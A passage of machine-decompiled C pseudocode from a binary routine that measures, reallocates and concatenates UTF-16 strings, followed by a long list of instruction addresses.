								_v40 = _t283;
								_v44 = 0;
								 *_t283 = 0;
								_v28 = _t419;
								_v52 =  *_t419;
								_t313 = _v44;
								_t441 = _v48;
								while(1) {
									_t285 =  *_t350 & 0x0000ffff;
									_t313 = _t313 + 1;
									 *_t441 = _t285;
									__eflags = _t414;
									if(_t414 == 0) {
										goto L32;
									}
									__eflags = _t313 - _t414;
									if(_t313 == _t414) {
										_v48 = _t441;
										__eflags = 0;
										_t299 = _v40;
										_t286 = _v52;
										_t419 = _v28;
										_t441[0] = 0;
									} else {
										goto L32;
									}
									L177:
									__eflags = _t286 - 1;
									if(_t286 > 1) {
										goto L36;
									} else {
										goto L178;
									}
									goto L89;
									L32:
									__eflags = _t285;
									if(_t285 == 0) {
										_t299 = _v40;
										_t286 = _v52;
										_t419 = _v28;
									} else {
										_t441 =  &(_t441[0]);
										_t350 = _t350 + 2;
										__eflags = _t350;
										continue;
									}
									goto L177;
								}
							} else {
								_t299 = 0;
								__eflags = _t352 - 1;
								if(_t352 <= 1) {
									L45:
									_t353 = _a4;
									 *_t353 = 0;
									 *((intOrPtr*)(_t353 + 4)) = 0;
									__eflags = _t299;
									if(_t299 == 0) {
										goto L80;
									} else {
										goto L46;
									}
								} else {
									_t374 = 0;
									L36:
									_t223 = _a8 & 0x0000ffff;
									_t403 = 1;
									_v36 = _t374;
									asm("pxor xmm0, xmm0");
									do {
										__eflags = _t223;
										if(_t223 == 0) {
											_v28 = _t419;
										} else {
											__eflags = _t299;
											if(_t299 == 0) {
												_v28 = _t419;
												L182:
												_t425 = 0;
											} else {
												_v28 = _t419;
												L151:
												_t248 = _t299 & 0x0000000f;
												__eflags = _t248;
												if(_t248 == 0) {
													L156:
													asm("pxor xmm1, xmm1");
													_t439 =  ~( ~_t248 + 0x00000007 & 0x00000007) + 0x7fffffff;
													__eflags = _t439;
													while(1) {
														asm("movdqu xmm0, [ebx+eax*2]");
														asm("pcmpeqw xmm0, xmm1");
														asm("pmovmskb edx, xmm0");
														__eflags = _t374;
														if(_t374 != 0) {
															break;
														}
														_t248 = _t248 + 8;
														__eflags = _t248 - _t439;
														if(_t248 < _t439) {
															continue;
														} else {
															__eflags = _t439 - 0x7fffffff;
															if(_t439 >= 0x7fffffff) {
																goto L162;
															} else {
																goto L160;
															}
														}
														goto L163;
													}
													asm("bsf esi, edx");
													_t425 = (_t439 >> 1) + _t248;
													goto L191;
												} else {
													_t439 = 0;
													__eflags = _t248 & 0x00000001;
													if((_t248 & 0x00000001) != 0) {
														while(1) {
															L160:
															__eflags =  *(_t299 + _t439 * 2) & 0x0000ffff;
															if(( *(_t299 + _t439 * 2) & 0x0000ffff) == 0) {
																goto L191;
															}
															_t439 = _t439 + 1;
															__eflags = _t439 - 0x7fffffff;
															if(_t439 < 0x7fffffff) {
																continue;
															} else {
																L162:
																_t425 = 0x7fffffff;
															}
															goto L163;
														}
														goto L191;
													} else {
														_t248 =  ~_t248 + 0x10 >> 1;
														__eflags = _t248;
														while(1) {
															_t374 =  *(_t299 + _t439 * 2) & 0x0000ffff;
															__eflags = _t374;
															if(_t374 == 0) {
																break;
															}
															_t439 = _t439 + 1;
															__eflags = _t439 - _t248;
															if(_t439 < _t248) {
																continue;
															} else {
																goto L156;
															}
															goto L163;
														}
														L191:
														__eflags = _t425 - 0xfffffffe;
														if(_t425 == 0xfffffffe) {
															 *_t299 = 0;
														}
													}
												}
											}
											L163:
											_t158 = _t425 + 2; // -2147483652
											_t324 = _t158;
											__eflags = _t324 - 0x40;
											_t325 =  <=  ? 0x40 : _t324;
											__eflags = _t325 - _v36;
											if(_t325 > _v36) {
												_t381 = (_t325 >> 5 >> 0x1a) + _t325 >> 6;
												_t326 = _t325 & 0x8000003f;
												__eflags = _t326;
												if(_t326 < 0) {
													_t326 = (_t326 - 0x00000001 | 0xffffffc0) + 1;
													__eflags = _t326;
												}
												__eflags = _t326;
												_t382 = _t381 + (0 | _t326 > 0x00000000);
												_v36 = _t382 << 6;
												_push(_t382 << 7);
												_t384 = E6ED41030();
												_t446 = _t446 + 4;
												__eflags = _t299;
												if(_t299 == 0) {
													__eflags = 0;
													 *_t384 = 0;
												} else {
													__eflags = _t384;
													if(_t384 != 0) {
														_t242 =  *_t299 & 0x0000ffff;
														 *_t384 = _t242;
														__eflags = _t242;
														if(_t242 != 0) {
															_t243 = 0;
															__eflags = 0;
															while(1) {
																_t243 = _t243 + 1;
																_t329 =  *(_t299 + _t243 * 4 - 2) & 0x0000ffff;
																 *(_t384 + _t243 * 4 - 2) = _t329;
																__eflags = _t329;
																if(_t329 == 0) {
																	goto L172;
																}
																_t330 =  *(_t299 + _t243 * 4) & 0x0000ffff;
																 *(_t384 + _t243 * 4) = _t330;
																__eflags = _t330;
																if(_t330 != 0) {
																	continue;
																}
																goto L172;
															}
														}
													}
													L172:
													_push(2);
													_push(_t299);
													_v48 = _t384;
													E6ED410B0();
													_t384 = _v48;
													_t446 = _t446 + 8;
												}
												_t299 = _t384;
											}
											 *((short*)(_t299 + _t425 * 2)) = _a8 & 0x0000ffff;
											 *((short*)(_t299 + 2 + _t425 * 2)) = 0;
											while(1) {
												L41:
												_t224 = _v28;
												_t323 =  *( *((intOrPtr*)(_t224 + 4)) + _t403 * 4);
												_t374 =  *_t323;
												__eflags = _t374;
												if(_t374 == 0) {
													break;
												}
												__eflags =  *_t374 & 0x0000ffff;
												if(( *_t374 & 0x0000ffff) != 0) {
													__eflags = _t374 - _t299;
													if(_t374 == _t299) {
														goto L43;
													} else {
														_t227 = _t374 & 0x0000000f;
														__eflags = _t227;
														if(_t227 == 0) {
															L96:
															asm("pxor xmm1, xmm1");
															_t431 =  ~( ~_t227 + 0x00000007 & 0x00000007) + 0x7fffffff;
															__eflags = _t431;
															while(1) {
																asm("movdqu xmm0, [edx+eax*2]");
																asm("pcmpeqw xmm0, xmm1");
																asm("pmovmskb ecx, xmm0");
																__eflags = _t323;
																if(_t323 != 0) {
																	break;
																}
																_t227 = _t227 + 8;
																__eflags = _t227 - _t431;
																if(_t227 < _t431) {
																	continue;
																} else {
																	__eflags = _t431 - 0x7fffffff;
																	if(_t431 >= 0x7fffffff) {
																		goto L102;
																	} else {
																		goto L100;
																	}
																}
																goto L103;
															}
															asm("bsf esi, ecx");
															_t433 = (_t431 >> 1) + _t227;
														} else {
															_t433 = 0;
															__eflags = _t227 & 0x00000001;
															if((_t227 & 0x00000001) != 0) {
																while(1) {
																	L100:
																	__eflags =  *(_t374 + _t433 * 2) & 0x0000ffff;
																	if(( *(_t374 + _t433 * 2) & 0x0000ffff) == 0) {
																		goto L103;
																	}
																	_t433 = _t433 + 1;
																	__eflags = _t433 - 0x7fffffff;
																	if(_t433 < 0x7fffffff) {
																		continue;
																	} else {
																		L102:
																		_t433 = 0x7fffffff;
																	}
																	goto L103;
																}
															} else {
																_t227 =  ~_t227 + 0x10 >> 1;
																__eflags = _t227;
																while(1) {
																	_t323 =  *(_t374 + _t433 * 2) & 0x0000ffff;
																	__eflags = _t323;
																	if(_t323 == 0) {
																		goto L103;
																	}
																	_t433 = _t433 + 1;
																	__eflags = _t433 - _t227;
																	if(_t433 < _t227) {
																		continue;
																	} else {
																		goto L96;
																	}
																	goto L103;
																}
															}
														}
														L103:
														__eflags = _t299;
														if(_t299 == 0) {
															_t228 = 0;
														} else {
															_t346 = _t299 & 0x0000000f;
															__eflags = _t346;
															if(_t346 == 0) {
																L110:
																asm("pxor xmm1, xmm1");
																_v24 = _t403;
																_t228 =  ~( ~_t346 + 0x00000007 & 0x00000007) + 0x7fffffff;
																__eflags = _t228;
																while(1) {
																	asm("movdqu xmm0, [ebx+ecx*2]");
																	asm("pcmpeqw xmm0, xmm1");
																	asm("pmovmskb edi, xmm0");
																	__eflags = _t403;
																	if(_t403 != 0) {
																		break;
																	}
																	_t346 = _t346 + 8;
																	__eflags = _t346 - _t228;
																	if(_t346 < _t228) {
																		continue;
																	} else {
																		_t403 = _v24;
																		__eflags = _t228 - 0x7fffffff;
																		if(_t228 >= 0x7fffffff) {
																			goto L116;
																		} else {
																			goto L114;
																		}
																	}
																	goto L117;
																}
																asm("bsf eax, eax");
																_t271 = _t403 >> 1;
																_t403 = _v24;
																_t228 = _t271 + _t346;
															} else {
																_t228 = 0;
																__eflags = _t346 & 0x00000001;
																if((_t346 & 0x00000001) != 0) {
																	while(1) {
																		L114:
																		__eflags =  *(_t299 + _t228 * 2) & 0x0000ffff;
																		if(( *(_t299 + _t228 * 2) & 0x0000ffff) == 0) {
																			goto L117;
																		}
																		_t228 = _t228 + 1;
																		__eflags = _t228 - 0x7fffffff;
																		if(_t228 < 0x7fffffff) {
																			continue;
																		} else {
																			L116:
																			_t228 = 0x7fffffff;
																		}
																		goto L117;
																	}
																} else {
																	_t346 =  ~_t346 + 0x10 >> 1;
																	__eflags = _t346;
																	_v24 = _t403;
																	while(1) {
																		__eflags =  *(_t299 + _t228 * 2) & 0x0000ffff;
																		if(( *(_t299 + _t228 * 2) & 0x0000ffff) == 0) {
																			break;
																		}
																		_t228 = _t228 + 1;
																		__eflags = _t228 - _t346;
																		if(_t228 < _t346) {
																			continue;
																		} else {
																			_t403 = _v24;
																			goto L110;
																		}
																		goto L117;
																	}
																	_t403 = _v24;
																}
															}
														}
														L117:
														_t105 = _t228 + 1; // 0x80000000
														_t229 = _t433 + _t105;
														__eflags = _t229;
														if(_t229 != 0) {
															__eflags = _t229 - 0x40;
															_t230 =  <=  ? 0x40 : _t229;
															__eflags = _t230 - _v36;
															if(_t230 > _v36) {
																goto L123;
															}
															goto L135;
														} else {
															__eflags = _t299;
															if(_t299 == 0) {
																__eflags = _v36 - 0x40;
																if(_v36 < 0x40) {
																	goto L121;
																} else {
																	goto L187;
																}
															} else {
																_t334 = 0;
																 *_t299 = 0;
																__eflags = _v36 - 0x40;
																if(_v36 < 0x40) {
																	L121:
																	_t230 = 0x40;
																	L123:
																	_t341 = (_t230 >> 5 >> 0x1a) + _t230 >> 6;
																	_t253 = _t230 & 0x8000003f;
																	__eflags = _t253;
																	if(_t253 < 0) {
																		_t253 = (_t253 - 0x00000001 | 0xffffffc0) + 1;
																		__eflags = _t253;
																	}
																	__eflags = _t253;
																	_t342 = _t341 + (0 | _t253 > 0x00000000);
																	_v36 = _t342 << 6;
																	_push(_t342 << 7);
																	_v32 = _t374;
																	_t258 = E6ED41030();
																	_t374 = _v32;
																	_t344 = _t258;
																	_t446 = _t446 + 4;
																	__eflags = _t299;
																	if(_t299 == 0) {
																		__eflags = 0;
																		 *_t344 = 0;
																	} else {
																		__eflags = _t344;
																		if(_t344 != 0) {
																			_t261 =  *_t299 & 0x0000ffff;
																			 *_t344 = _t261;
																			__eflags = _t261;
																			if(_t261 != 0) {
																				_v24 = _t403;
																				_t262 = 0;
																				__eflags = 0;
																				while(1) {
																					_t262 = _t262 + 1;
																					_t406 =  *(_t299 + _t262 * 4 - 2) & 0x0000ffff;
																					 *(_t344 + _t262 * 4 - 2) = _t406;
																					__eflags = _t406;
																					if(_t406 == 0) {
																						break;
																					}
																					_t407 =  *(_t299 + _t262 * 4) & 0x0000ffff;
																					 *(_t344 + _t262 * 4) = _t407;
																					__eflags = _t407;
																					if(_t407 != 0) {
																						continue;
																					}
																					break;
																				}
																				_t403 = _v24;
																			}
																		}
																		_push(2);
																		_push(_t299);
																		_v52 = _t344;
																		_v32 = _t374;
																		E6ED410B0();
																		_t374 = _v32;
																		_t344 = _v52;
																		_t446 = _t446 + 8;
																	}
																	_t299 = _t344;
																	L135:
																	_t231 = _t299;
																	__eflags = _t299;
																	if(_t299 == 0) {
																		L187:
																		_t403 = _t403 + 1;
																		__eflags = _t403 -  *_v28;
																		if(_t403 >=  *_v28) {
																			_t385 = _a4;
																			 *_t385 = 0;
																			 *((intOrPtr*)(_t385 + 4)) = 0;
																			goto L80;
																		} else {
																			__eflags = _a8 & 0x0000ffff;
																			if((_a8 & 0x0000ffff) != 0) {
																				goto L182;
																			} else {
																				continue;
																			}
																			goto L198;
																		}
																	} else {
																		_t334 =  *_t299 & 0x0000ffff;
																		goto L137;
																	}
																} else {
																	_t231 = _t299;
																	L137:
																	__eflags = _t334;
																	if(_t334 != 0) {
																		_v32 = _t374;
																		_t336 = 0;
																		__eflags = 0;
																		_v24 = _t403;
																		while(1) {
																			_t336 = _t336 + 1;
																			_t405 = _t299 + _t336 * 4;
																			_t231 = _t405 - 2;
																			__eflags =  *(_t405 - 2) & 0x0000ffff;
																			if(( *(_t405 - 2) & 0x0000ffff) == 0) {
																				break;
																			}
																			_t231 = _t405;
																			__eflags =  *_t405 & 0x0000ffff;
																			if(( *_t405 & 0x0000ffff) != 0) {
																				continue;
																			}
																			break;
																		}
																		_t374 = _v32;
																		_t403 = _v24;
																	}
																	_t335 = _t231;
																	__eflags = _t433;
																	if(__eflags != 0) {
																		if(__eflags > 0) {
																			goto L145;
																		}
																	} else {
																		_t433 = 0x7fffffff;
																		L145:
																		_v44 = 0;
																		_v24 = _t403;
																		_v40 = _t299;
																		_t404 = _v44;
																		while(1) {
																			_t303 =  *(_t374 + _t404 * 2) & 0x0000ffff;
																			 *(_t335 + _t404 * 2) = _t303;
																			__eflags = _t303;
																			if(_t303 == 0) {
																				break;
																			}
																			_t146 = _t404 * 2; // 0x2
																			_t231 = _t335 + _t146 + 2;
																			_t404 = _t404 + 1;
																			__eflags = _t404 - _t433;
																			if(_t404 < _t433) {
																				continue;
																			}
																			break;
																		}
																		_t403 = _v24;
																		_t299 = _v40;
																	}
																	_t374 = 0;
																	_t403 = _t403 + 1;
																	 *_t231 = 0;
																	__eflags = _t403 -  *_v28;
																	if(_t403 >=  *_v28) {
																		L178:
																		_t386 = _a4;
																		 *_t386 = 0;
																		 *((intOrPtr*)(_t386 + 4)) = 0;
																		L46:
																		_t211 =  *_t299 & 0x0000ffff;
																		__eflags = _t211;
																		if(_t211 == 0) {
																			L80:
																			_push(0x80);
																			_t420 = E6ED41030();
																			_t446 = _t446 + 4;
																			_t205 =  *_a4;
																			__eflags = _t205;
																			if(_t205 == 0) {
																				__eflags = 0;
																				 *_t420 = 0;
																			} else {
																				__eflags = _t420;
																				if(_t420 != 0) {
																					_t354 =  *_t205 & 0x0000ffff;
																					 *_t420 = _t354;
																					__eflags = _t354;
																					if(_t354 != 0) {
																						_t355 = 0;
																						__eflags = 0;
																						while(1) {
																							_t355 = _t355 + 1;
																							_t319 =  *(_t205 + _t355 * 4 - 2) & 0x0000ffff;
																							 *(_t420 + _t355 * 4 - 2) = _t319;
																							__eflags = _t319;
																							if(_t319 == 0) {
																								goto L86;
																							}
																							_t320 =  *(_t205 + _t355 * 4) & 0x0000ffff;
																							 *(_t420 + _t355 * 4) = _t320;
																							__eflags = _t320;
																							if(_t320 != 0) {
																								continue;
																							}
																							goto L86;
																						}
																					}
																				}
																				L86:
																				_push(2);
																				_push(_t205);
																				E6ED410B0();
																				_t446 = _t446 + 8;
																			}
																			_t207 = _a4;
																			 *_t207 = _t420;
																			_t207[1] = 0x40;
																		} else {
																			_t357 = _t299 & 0x0000000f;
																			__eflags = _t357;
																			if(_t357 == 0) {
																				L52:
																				asm("pxor xmm0, xmm0");
																				_t401 =  ~( ~_t357 + 0x00000007 & 0x00000007) + 0x7fffffff;
																				__eflags = _t401;
																				while(1) {
																					asm("movdqu xmm1, [ebx+edx*2]");
																					asm("pcmpeqw xmm1, xmm0");
																					asm("pmovmskb eax, xmm1");
																					__eflags = _t211;
																					if(_t211 != 0) {
																						break;
																					}
																					_t357 = _t357 + 8;
																					__eflags = _t357 - _t401;
																					if(_t357 < _t401) {
																						continue;
																					} else {
																						__eflags = _t401 - 0x7fffffff;
																						if(_t401 >= 0x7fffffff) {
																							goto L58;
																						} else {
																							goto L56;
																						}
																					}
																					goto L59;
																				}
																				asm("bsf edi, eax");
																				_t401 = (_t401 >> 1) + _t357;
																			} else {
																				_t401 = 0;
																				__eflags = _t357 & 0x00000001;
																				if((_t357 & 0x00000001) != 0) {
																					while(1) {
																						L56:
																						__eflags =  *(_t299 + _t401 * 2) & 0x0000ffff;
																						if(( *(_t299 + _t401 * 2) & 0x0000ffff) == 0) {
																							goto L59;
																						}
																						_t401 = _t401 + 1;
																						__eflags = _t401 - 0x7fffffff;
																						if(_t401 < 0x7fffffff) {
																							continue;
																						} else {
																							L58:
																							_t401 = 0x7fffffff;
																						}
																						goto L59;
																					}
																				} else {
																					_t357 =  ~_t357 + 0x10 >> 1;
																					__eflags = _t357;
																					while(1) {
																						_t211 =  *(_t299 + _t401 * 2) & 0x0000ffff;
																						__eflags = _t211;
																						if(_t211 == 0) {
																							goto L59;
																						}
																						_t401 = _t401 + 1;
																						__eflags = _t401 - _t357;
																						if(_t401 < _t357) {
																							continue;
																						} else {
																							goto L52;
																						}
																						goto L59;
																					}
																				}
																			}
																			L59:
																			_t54 = _t401 + 1; // 0x80000000
																			_t358 = _t54;
																			__eflags = _t358 - 0x40;
																			_t359 =  <=  ? 0x40 : _t358;
																			__eflags = _t359;
																			if(_t359 > 0) {
																				_t217 = (_t359 >> 5 >> 0x1a) + _t359 >> 6;
																				_t360 = _t359 & 0x8000003f;
																				__eflags = _t360;
																				if(_t360 < 0) {
																					_t360 = (_t360 - 0x00000001 | 0xffffffc0) + 1;
																					__eflags = _t360;
																				}
																				__eflags = _t360;
																				_t218 = _t217 + (0 | _t360 > 0x00000000);
																				_push(_t218 << 7);
																				_t423 = _t218 << 6;
																				_t220 = E6ED41030();
																				_t446 = _t446 + 4;
																				_t321 =  *_a4;
																				__eflags = _t321;
																				if(_t321 == 0) {
																					__eflags = 0;
																					 *_t220 = 0;
																				} else {
																					__eflags = _t220;
																					if(_t220 != 0) {
																						_t368 =  *_t321 & 0x0000ffff;
																						 *_t220 = _t368;
																						__eflags = _t368;
																						if(_t368 != 0) {
																							_v40 = _t299;
																							_t369 = 0;
																							__eflags = 0;
																							while(1) {
																								_t369 = _t369 + 1;
																								_t301 =  *(_t321 + _t369 * 4 - 2) & 0x0000ffff;
																								 *(_t220 + _t369 * 4 - 2) = _t301;
																								__eflags = _t301;
																								if(_t301 == 0) {
																									break;
																								}
																								_t302 =  *(_t321 + _t369 * 4) & 0x0000ffff;
																								 *(_t220 + _t369 * 4) = _t302;
																								__eflags = _t302;
																								if(_t302 != 0) {
																									continue;
																								}
																								break;
																							}
																							_t299 = _v40;
																						}
																					}
																					_push(2);
																					_push(_t321);
																					_v52 = _t220;
																					E6ED410B0();
																					_t220 = _v52;
																					_t446 = _t446 + 8;
																				}
																				_t365 = _a4;
																				_t365[1] = _t423;
																				 *_t365 = _t220;
																			} else {
																				_t220 = 0;
																			}
																			_t366 = _t299;
																			__eflags = _t220;
																			if(_t220 != 0) {
																				_t322 = 0;
																				while(1) {
																					_t424 =  *_t366 & 0x0000ffff;
																					_t322 = _t322 + 1;
																					 *_t220 = _t424;
																					__eflags = _t401;
																					if(_t401 == 0) {
																						goto L78;
																					}
																					__eflags = _t322 - _t401;
																					if(_t322 == _t401) {
																						 *(_t220 + 2) = 0;
																					} else {
																						goto L78;
																					}
																					goto L89;
																					L78:
																					__eflags = _t424;
																					if(_t424 != 0) {
																						_t220 = _t220 + 2;
																						_t366 = _t366 + 2;
																						__eflags = _t366;
																						continue;
																					}
																					goto L89;
																				}
																			}
																		}
																	} else {
																		__eflags = _a8 & 0x0000ffff;
																		if((_a8 & 0x0000ffff) == 0) {
																			continue;
																		} else {
																			goto L151;
																		}
																		goto L198;
																	}
																}
															}
														}
													}
												} else {
													L43:
													_t223 = _a8 & 0x0000ffff;
													_t419 = _v28;
													goto L44;
												}
												goto L89;
											}
											_t419 = _t224;
											_t223 = _a8 & 0x0000ffff;
											goto L44;
										}
										goto L41;
										L44:
										_t403 = _t403 + 1;
										__eflags = _t403 -  *_t419;
									} while (_t403 <  *_t419);
									goto L45;
								}
							}
						}
					}
					L89:
					_push(2);
					_push(_t299);
					E6ED410B0();
					return _a4;
				} else {
					_t292 = _a4;
					_t314 = 0;
					_push(0x80);
					 *_t292 = 0;
					 *((intOrPtr*)(_t292 + 4)) = 0;
					_t442 = E6ED41030();
					_t448 = _t446 + 4;
					_t295 =  *_a4;
					if(_t295 == 0) {
						 *_t442 = 0;
					} else {
						if(_t442 != 0) {
							_t391 =  *_t295 & 0x0000ffff;
							 *_t442 = _t391;
							if(_t391 != 0) {
								while(1) {
									_t314 = _t314 + 1;
									_t392 =  *(_t295 + _t314 * 4 - 2) & 0x0000ffff;
									 *(_t442 + _t314 * 4 - 2) = _t392;
									if(_t392 == 0) {
										goto L6;
									}
									_t393 =  *(_t295 + _t314 * 4) & 0x0000ffff;
									_t442[_t314] = _t393;
									if(_t393 != 0) {
										continue;
									}
									goto L6;
								}
							}
						}
						L6:
						_push(2);
						_push(_t295);
						E6ED410B0();
						_t448 = _t448 + 8;
					}
					_t296 = _a4;
					_t296[1] = 0x40;
					 *_t296 = _t442;
					return _t296;
				}
				L198:
			}

0x6ed589f8
0x6ed589f9
0x6ed589fc
0x6ed589fe
0x6ed58a02
0x6ed58a7c
0x6ed58a7e
0x6ed58a80
0x6ed58bb5
0x6ed58bb5
0x6ed58bbf
0x6ed58bc1
0x6ed58bc6
0x6ed58bc9
0x6ed58bcc
0x00000000
0x6ed58bce
0x6ed58bce
0x00000000
0x6ed58bce
0x6ed58a86
0x6ed58a89
0x6ed58a8b
0x00000000
0x6ed58a91
0x6ed58a93
0x6ed58a93
0x6ed58a96
0x6ed58ab2
0x6ed58ab6
0x6ed58ac2
0x6ed58ac2
0x6ed58ac8
0x6ed58ac8
0x6ed58acd
0x6ed58ad1
0x6ed58ad5
0x6ed58ad7
0x00000000
0x00000000
0x6ed58add
0x6ed58ae0
0x6ed58ae2
0x00000000
0x6ed58ae4
0x6ed58ae4
0x6ed58aea
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed58aea
0x00000000
0x6ed58ae2
0x6ed591f2
0x6ed591f7
0x6ed58a98
0x6ed58a98
0x6ed58a9a
0x6ed58a9c
0x6ed58aec
0x6ed58aec
0x6ed58af0
0x6ed58af2
0x00000000
0x00000000
0x6ed58af4
0x6ed58af5
0x6ed58afb
0x00000000
0x6ed58afd
0x6ed58afd
0x6ed58afd
0x6ed58afd
0x00000000
0x6ed58afb
0x6ed58a9e
0x6ed58aa3
0x6ed58aa3
0x6ed58aa5
0x6ed58aa5
0x6ed58aa9
0x6ed58aab
0x00000000
0x00000000
0x6ed58aad
0x6ed58aae
0x6ed58ab0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed58ab0
0x6ed58aa5
0x6ed58a9c
0x6ed58b02
0x6ed58b07
0x6ed58b07
0x6ed58b0a
0x6ed58b0d
0x6ed58b10
0x6ed58b12
0x6ed58b30
0x6ed58b33
0x6ed58b33
0x6ed58b38
0x6ed58b40
0x6ed58b40
0x6ed58b40
0x6ed58b41
0x6ed58b4b
0x6ed58b55
0x6ed58b56
0x6ed58b5a
0x6ed58b5e
0x6ed58b63
0x6ed58b67
0x6ed58b6b
0x6ed58b6f
0x6ed58b74
0x6ed58b78
0x6ed58b7c
0x6ed58b81
0x6ed58b85
0x6ed58b88
0x6ed58b8c
0x6ed58b98
0x6ed58b98
0x6ed58b9b
0x6ed58b9c
0x6ed58b9f
0x6ed58ba1
0x00000000
0x00000000
0x6ed58ba3
0x6ed58ba5
0x6ed591b6
0x6ed591ba
0x6ed591be
0x6ed591c2
0x6ed591c5
0x6ed591c9
0x00000000
0x00000000
0x00000000
0x6ed591cd
0x6ed591cd
0x6ed591d0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed58bab
0x6ed58bab
0x6ed58bad
0x6ed591e5
0x6ed591e9
0x6ed591ec
0x6ed58bb3
0x6ed58b92
0x6ed58b95
0x6ed58b95
0x00000000
0x6ed58b95
0x00000000
0x6ed58bad
0x6ed58b14
0x6ed58b14
0x6ed58b16
0x6ed58b19
0x6ed58c29
0x6ed58c29
0x6ed58c2e
0x6ed58c30
0x6ed58c33
0x6ed58c35
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed58b1f
0x6ed58b1f
0x6ed58bd3
0x6ed58bd3
0x6ed58bd7
0x6ed58bdc
0x6ed58be0
0x6ed58be4
0x6ed58be4
0x6ed58be6
0x6ed58bf9
0x6ed58be8
0x6ed58be8
0x6ed58bea
0x6ed591fe
0x6ed59202
0x6ed59202
0x6ed58bf0
0x6ed58bf0
0x6ed5908a
0x6ed5908c
0x6ed5908c
0x6ed5908f
0x6ed590af
0x6ed590b3
0x6ed590bf
0x6ed590bf
0x6ed590c5
0x6ed590c5
0x6ed590ca
0x6ed590ce
0x6ed590d2
0x6ed590d4
0x00000000
0x00000000
0x6ed590da
0x6ed590dd
0x6ed590df
0x00000000
0x6ed590e1
0x6ed590e1
0x6ed590e7
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed590e7
0x00000000
0x6ed590df
0x6ed5926c
0x6ed59271
0x00000000
0x6ed59091
0x6ed59091
0x6ed59093
0x6ed59095
0x6ed590e9
0x6ed590e9
0x6ed590ed
0x6ed590ef
0x00000000
0x00000000
0x6ed590f5
0x6ed590f6
0x6ed590fc
0x00000000
0x6ed590fe
0x6ed590fe
0x6ed590fe
0x6ed590fe
0x00000000
0x6ed590fc
0x00000000
0x6ed59097
0x6ed5909c
0x6ed5909c
0x6ed5909e
0x6ed5909e
0x6ed590a2
0x6ed590a4
0x00000000
0x00000000
0x6ed590aa
0x6ed590ab
0x6ed590ad
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed590ad
0x6ed59259
0x6ed59259
0x6ed5925c
0x6ed59264
0x6ed59264
0x6ed5925c
0x6ed59095
0x6ed5908f
0x6ed59103
0x6ed59108
0x6ed59108
0x6ed5910b
0x6ed5910e
0x6ed59111
0x6ed59115
0x6ed59125
0x6ed59128
0x6ed59128
0x6ed5912e
0x6ed59136
0x6ed59136
0x6ed59136
0x6ed59139
0x6ed5913e
0x6ed59148
0x6ed5914c
0x6ed59152
0x6ed59154
0x6ed59157
0x6ed59159
0x6ed5919b
0x6ed5919d
0x6ed5915b
0x6ed5915b
0x6ed5915d
0x6ed5915f
0x6ed59162
0x6ed59165
0x6ed59167
0x6ed59169
0x6ed59169
0x6ed5916b
0x6ed5916b
0x6ed5916c
0x6ed59171
0x6ed59176
0x6ed59178
0x00000000
0x00000000
0x6ed5917a
0x6ed5917e
0x6ed59182
0x6ed59184
0x00000000
0x00000000
0x00000000
0x6ed59184
0x6ed5916b
0x6ed59167
0x6ed59186
0x6ed59186
0x6ed59188
0x6ed59189
0x6ed5918d
0x6ed59192
0x6ed59196
0x6ed59196
0x6ed591a0
0x6ed591a0
0x6ed591a8
0x6ed591ac
0x6ed58bfd
0x6ed58bfd
0x6ed58bfd
0x6ed58c04
0x6ed58c07
0x6ed58c09
0x6ed58c0b
0x00000000
0x00000000
0x6ed58c14
0x6ed58c16
0x6ed58e0d
0x6ed58e0f
0x00000000
0x6ed58e15
0x6ed58e17
0x6ed58e17
0x6ed58e1a
0x6ed58e36
0x6ed58e3a
0x6ed58e46
0x6ed58e46
0x6ed58e4c
0x6ed58e4c
0x6ed58e51
0x6ed58e55
0x6ed58e59
0x6ed58e5b
0x00000000
0x00000000
0x6ed58e61
0x6ed58e64
0x6ed58e66
0x00000000
0x6ed58e68
0x6ed58e68
0x6ed58e6e
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed58e6e
0x00000000
0x6ed58e66
0x6ed5928e
0x6ed59293
0x6ed58e1c
0x6ed58e1c
0x6ed58e1e
0x6ed58e20
0x6ed58e70
0x6ed58e70
0x6ed58e74
0x6ed58e76
0x00000000
0x00000000
0x6ed58e78
0x6ed58e79
0x6ed58e7f
0x00000000
0x6ed58e81
0x6ed58e81
0x6ed58e81
0x6ed58e81
0x00000000
0x6ed58e7f
0x6ed58e22
0x6ed58e27
0x6ed58e27
0x6ed58e29
0x6ed58e29
0x6ed58e2d
0x6ed58e2f
0x00000000
0x00000000
0x6ed58e31
0x6ed58e32
0x6ed58e34
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed58e34
0x6ed58e29
0x6ed58e20
0x6ed58e86
0x6ed58e86
0x6ed58e88
0x6ed59287
0x6ed58e8e
0x6ed58e90
0x6ed58e90
0x6ed58e93
0x6ed58ebc
0x6ed58ec0
0x6ed58ecc
0x6ed58ed0
0x6ed58ed0
0x6ed58ed5
0x6ed58ed5
0x6ed58eda
0x6ed58ede
0x6ed58ee2
0x6ed58ee4
0x00000000
0x00000000
0x6ed58eea
0x6ed58eed
0x6ed58eef
0x00000000
0x6ed58ef1
0x6ed58ef1
0x6ed58ef5
0x6ed58efa
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed58efa
0x00000000
0x6ed58eef
0x6ed59277
0x6ed5927a
0x6ed5927c
0x6ed59280
0x6ed58e95
0x6ed58e95
0x6ed58e97
0x6ed58e9a
0x6ed58efc
0x6ed58efc
0x6ed58f00
0x6ed58f02
0x00000000
0x00000000
0x6ed58f04
0x6ed58f05
0x6ed58f0a
0x00000000
0x6ed58f0c
0x6ed58f0c
0x6ed58f0c
0x6ed58f0c
0x00000000
0x6ed58f0a
0x6ed58e9c
0x6ed58ea1
0x6ed58ea1
0x6ed58ea3
0x6ed58ea7
0x6ed58eab
0x6ed58ead
0x00000000
0x00000000
0x6ed58eb3
0x6ed58eb4
0x6ed58eb6
0x00000000
0x6ed58eb8
0x6ed58eb8
0x00000000
0x6ed58eb8
0x00000000
0x6ed58eb6
0x6ed59220
0x6ed59220
0x6ed58e9a
0x6ed58e93
0x6ed58f11
0x6ed58f11
0x6ed58f11
0x6ed58f15
0x6ed58f17
0x6ed58f40
0x6ed58f43
0x6ed58f46
0x6ed58f4a
